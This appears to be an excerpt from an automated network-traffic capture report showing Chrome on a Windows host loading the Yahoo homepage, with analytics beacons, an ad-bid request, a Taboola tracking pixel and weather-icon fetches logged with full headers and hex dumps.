2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 65 f6 19 bd 9e ef 18 bd fb 38 19 bd 9f 9b 19 bd d7 e6 19 bd 93 7f 1a bd bd cc 1a bd 98 77 1b bd e1 c6 1b bd 38 6a 1c bd 89 bb 1c bd 4e bd 1c bd 64 10 1d bd d0 f5 1b bd 0c 4a 1c bd e5 f4 19 bd 92 49 1a bd 7b e6 16 bd e4 3a 17 bd 7e 36 13 bd 60 8a 13 bd 01 52 0f bd 16 a5 0f bd 85 f9 0b bd 13 4c 0c bd 46 a0 0a bd 73 f3 0a bd 5f 1b 0c bd ab 70 0c bd 58 29 0f bd 8e 81 0f bd 3b 3b 11 bd a7 95 11 bd 31 f1 0f bd e0 4b 10 bd bc bd 09 bd c5 15 0a bd 55 46 fd bc 44 eb fd bc 41 6f e0 bc fc 04 e1 bc 4a de bf bc 57 62 c0 bc 61 a4 9c bc fc 14 9d bc 5e be 70 bc ec 76 71 bc 0b 25 2b bc 5a b6 2b bc 81 74 d5 bb e1 4c d6 bb 21 40 3d bb df 64 3e bb f5 c5 d0 39 91 a5 cb 39 31 42 59 3b ef 14 59 3b 16 42 c3 3b 9d 62 c3 3b 8b 8e 0c 3c 62 ba 0c 3c 18 e8 3c 3c c1 33 3d 3c 3f 84 75 Data Ascii: e8w8jNdJI{:~6`RLFs_pX);;1KUFDAoJWba^pvq%+Z+tL!@=d>991BY;Y;B;b;<b<<<3=<?u
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 99 be 9a 3c c1 18 9b 3c 46 a4 86 3c 49 f0 86 3c a8 29 5e 3c 38 a2 5e 3c f5 f8 26 3c 75 4d 27 3c 29 bb d7 3b 80 18 d8 3b 4b 11 43 3b 7a 37 43 3b 15 ee 09 ba b1 90 0b ba 13 2c 7a bb 14 1b 7b bb 43 11 de bb 29 c4 de bb 98 37 18 bc cb a9 18 bc 33 2d 37 bc 23 b2 37 bc cd 0b 4a bc b2 9b 4a bc 93 3a 53 bc c7 cf 53 bc 3b 9f 57 bc 32 36 58 bc 83 1a 5c bc 8a b2 5c bc 8f b1 66 bc 79 4d 67 bc 83 8c 7d bc 09 33 7e bc 73 20 91 bc ba 7c 91 bc d0 19 a8 bc 67 81 a8 bc fc d8 bf bc e4 4b c0 bc 23 28 d5 bc f1 a4 d5 bc c4 29 e7 bc 2c ae e7 bc 03 fb f6 bc c8 85 f7 bc 69 c6 02 bd 73 0e 03 bd ff 77 09 bd 6b c2 09 bd 57 af 0f bd 9f fb 0f bd 5f a8 15 bd 54 f6 15 bd c3 94 1b bd 66 e4 1b bd 12 ca 21 bd 7a 1b 22 bd b5 66 28 bd 26 ba 28 bd 53 c4 2e bd 88 19 2f bd 9b e8 33 bd f6 3e 34 Data Ascii: <<F<I<)^<8^<&<uM'<);;KC;z7C;,z{C)73-7#7JJ:SS;W26X\\fyMg}3~s \|gK#(),iswkW_Tf!z"f(&(S./3>4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	49983	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	2162	OUT	POST /p?s=2023538075&t=kPUSNGoIxggzz25J,0.6780829377599193&_I=&_AO=0&_NOL=0&_R=&_P=3.53.38%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.38%04A_cn%03VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%031%04A_sid%036L7ZFHZdY5rW7mNl%04_w%03www.yahoo.com%2F%04_rid%030gast8pipu9uc%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQIEAMLB3AMEAVnThQQEAMAaoQUEAXjoqQcEACPSTQgEAWVv0QoCVVM%04A_pfb%03750%04A_pbp%03546%04A_psr%03950%04A_pdi%033266%04A_pdl%0375%04A_psh%03212%04A_psc%03212%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031704929233%04_ms%03950%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	49980	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1208	OUT	GET /px.gif?ch=1&rn=9.953686578481904 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1271	IN	HTTP/1.1 200 OK x-amz-id-2: OJYTUHOsGqW7sqEFjbAndxzvnO6sP1KpO7yWQHw2Q4MG+ucFniKp4r8QeIRhLQSs3QhKzUazjrY= x-amz-request-id: APYRZFF9XY5ZQPFD Date: Wed, 10 Jan 2024 23:27:16 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 0 Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 Vary: Origin Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=6c5m4c9ipu9uj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:15 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	49981	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1208	OUT	GET /px.gif?ch=2&rn=9.953686578481904 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1271	IN	HTTP/1.1 200 OK x-amz-id-2: oxJZ1uRa4JLEtrsS5JS2Kpn2Bi0ZL0j8vXOGEPaVjjj+YiM+9V3MXCWIXm5lpngByDpz67kcESo= x-amz-request-id: APYXW836KSX0K63F Date: Wed, 10 Jan 2024 23:27:16 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 0 Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 Vary: Origin Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2mi0841ipu9uj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:15 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	49975	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1254	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1211 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1211	OUT	Data Raw: 7b 22 69 64 22 3a 22 61 63 34 32 39 32 30 65 2d 38 39 66 35 2d 34 64 65 33 2d 39 62 30 32 2d 36 65 33 39 35 36 34 63 66 64 32 31 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 39 35 33 30 31 33 37 36 38 35 34 39 35 38 35 32 31 37 30 34 39 32 39 32 33 33 34 37 35 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 7d 2c 22 65 78 74 22 3a 7b Data Ascii: {"id":"ac42920e-89f5-4de3-9b02-6e39564cfd21","cur":["USD"],"imp":[{"id":"95301376854958521704929233475","secure":1,"bidfloor":0.05,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":600}]},"ext":{
2024-01-10 23:27:15 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:15 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	49979	34.95.69.49	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	493	OUT	OPTIONS /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	492	IN	HTTP/1.1 204 No Content Server: nginx/1.21.6 Date: Wed, 10 Jan 2024 23:27:15 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Origin,Accept,X-API-Key Access-Control-Max-Age: 1728000 Content-Type: text/plain; charset=utf-8 Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	49984	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	838	OUT	GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 18219 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:15 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-iad-kcgs7200163-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929236.753631,VS0,VE20 X-vcl-time-ms: 20 transfer-encoding: chunked
2024-01-10 23:27:15 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-01-10 23:27:15 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	49987	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	605	OUT	GET /cv/apiv2/weather-svg/RAIN_AND_SNOW.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: jF88UJZEK6hpM/AF618frZJOf4dh+maXAw7ZlxDpLKaRaz0m+HjUqCzfY8uzl1ZBWy+82QOENfo= x-amz-request-id: ZMY4RAHZZG7BGYJS Date: Tue, 26 Dec 2023 01:47:10 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "e36b72ca53187aff4e7d9d420e97106f" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1623 Referrer-Policy: no-referrer-when-downgrade Age: 1374006 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-01-10 23:27:15 UTC	323	IN	Data Raw: 37 32 2d 32 2e 34 39 32 2d 31 2e 34 34 56 34 36 63 30 20 2e 35 35 32 2d 2e 35 34 38 20 31 2d 31 2e 32 32 35 20 31 2d 2e 36 30 32 20 30 2d 31 2e 31 30 32 2d 2e 33 35 34 2d 31 2e 32 30 36 2d 2e 38 32 6c 2d 2e 30 32 2d 2e 31 38 76 2d 32 2e 38 37 38 6c 2d 32 2e 34 39 31 20 31 2e 34 34 63 2d 2e 34 37 38 2e 32 37 36 2d 31 2e 31 34 2e 30 32 34 2d 31 2e 34 38 2d 2e 35 36 32 2d 2e 33 2d 2e 35 32 31 2d 2e 32 34 34 2d 31 2e 31 33 32 2e 31 30 38 2d 31 2e 34 35 35 6c 2e 31 34 36 2d 2e 31 30 37 4c 33 37 2e 30 34 38 20 34 31 6c 2d 32 2e 34 39 31 2d 31 2e 34 33 38 63 2d 2e 34 37 38 2d 2e 32 37 36 2d 2e 35 39 32 2d 2e 39 37 36 2d 2e 32 35 33 2d 31 2e 35 36 32 2e 33 2d 2e 35 32 31 2e 38 35 37 2d 2e 37 37 38 20 31 2e 33 31 33 2d 2e 36 33 34 6c 2e 31 36 36 2e 30 37 32 20 32 Data Ascii: 72-2.492-1.44V46c0 .552-.548 1-1.225 1-.602 0-1.102-.354-1.206-.82l-.02-.18v-2.878l-2.491 1.44c-.478.276-1.14.024-1.48-.562-.3-.521-.244-1.132.108-1.455l.146-.107L37.048 41l-2.491-1.438c-.478-.276-.592-.976-.253-1.562.3-.521.857-.778 1.313-.634l.166.072 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	49985	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	609	OUT	GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
